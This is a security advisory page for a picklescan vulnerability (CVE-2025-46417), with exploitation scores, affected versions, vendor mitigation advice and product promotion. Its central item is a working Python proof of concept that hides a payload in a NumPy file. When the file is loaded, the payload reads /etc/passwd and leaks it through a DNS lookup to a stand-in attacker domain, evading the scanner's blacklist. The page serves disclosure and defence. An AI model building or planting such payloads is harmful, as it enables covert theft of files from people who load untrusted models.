Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍 PyPI

GHSA-93mv-x874-956g

Picklescan Vulnerable to Exfiltration via DNS via linecache and ssl.get_server_certificate

Also known asCVE-2025-46417PYSEC-2025-34
Published
Apr 7, 2025
Updated
Feb 4, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk9th percentile-0.00%
0.00%0.23%0.46%0.69%0.1%0.2%Dec 25Apr 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected
🐍picklescan

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Picklescan does not detect malicious pickles that exfiltrate sensitive information via DNS after deserialization.

Details

picklescan’s blacklist can be bypassed to exfiltrate sensitive information (like file contents, secrets, or credentials) during model deserialization by leveraging ssl.get_server_certificate as the callable function in the pickle payload. Since ssl is a standard Python library used for legitimate TLS operations, it is rarely blacklisted by static scanners or runtime monitors.

The payload avoids flagged modules and instead uses linecache (also unflagged) to read local files. The exfiltrated data is added to DNS-safe chunks, and embedded as subdomains in a crafted FQDN. When passed to ssl.get_server_certificate, the Python runtime performs a DNS resolution to the attacker-controlled domain, leaking the encoded content.

The payload executes the following steps:

  • Reads sensitive local file content using linecache module
  • Encodes the data for DNS exfiltration
  • Constructs a malicious domain name using a third party service dnslog.cn
  • Triggers a DNS resolution via ssl.get_server_certificate
  • Leaks the encoded file content to the attacker

PoC

Before running the PoC change the fqdn to your own or a third party that you control. In this PoC we used fqdn = f"{subdomain}.ctmc2q.dnslog.cn".


import numpy as np

def create_malicious_model():
# Define the payload class
    class DNSLogPayload:
        def __reduce__(self):
            # Step 1: read a line from /etc/passwd
            linecache = __import__("linecache")
            first_line = linecache.getline("/etc/passwd", 1).strip()

            # Step 2: Sanitize and embed it as a DNS subdomain
            subdomain = first_line.replace(":", "_").replace("/", "_")
            fqdn = f"{subdomain}.dns-logger.invalid"

            # Step 3: Use ssl.get_server_certificate to trigger DNS resolution
            ssl_mod = __import__("ssl")
            return (getattr(ssl_mod, "get_server_certificate"), ((fqdn, 443),))

    # Wrap the payload in a NumPy object array
    arr = np.array([DNSLogPayload()], dtype=object)

    # Save to .npy file
    np.save("dnslog_trigger_payload.npy", arr, allow_pickle=True)   

def load_model(model):
    try:
        return np.load(model, encoding="latin1", fix_imports=True, allow_pickle=1)
    except Exception:
        raise ValueError("Invalid file")

if __name__ == "__main__":
    create_malicious_model()
    model = "dnslog_trigger_payload.npy"
    print("[i] Loading and executing the model")
    data = load_model(model)
 

Impact

  1. Evade detection: Bypasses the latest version of picklescan's blacklist.
  2. Exfiltrate sensitive local files to an attacker controlled DNS

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIpicklescanall versions0.0.25

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for picklescan. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update picklescan to 0.0.25 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-93mv-x874-956g is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-93mv-x874-956g is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-93mv-x874-956g. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary Picklescan does not detect malicious pickles that exfiltrate sensitive information via DNS after deserialization. ### Details picklescan’s blacklist can be bypassed to exfiltrate sensitive information (like file contents, secrets, or credentials) during model deserialization by leveraging `ssl.get_server_certificate` as the callable function in the pickle payload. Since `ssl` is a standard Python library used for legitimate TLS operations, it is rarely blacklisted by static scanners or runtime monitors. The payload avoids flagged modules and instead uses `linecache` (also unfl
O3 Security · Impact-Aware SCA

Is GHSA-93mv-x874-956g in your dependencies?

O3 detects GHSA-93mv-x874-956g across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.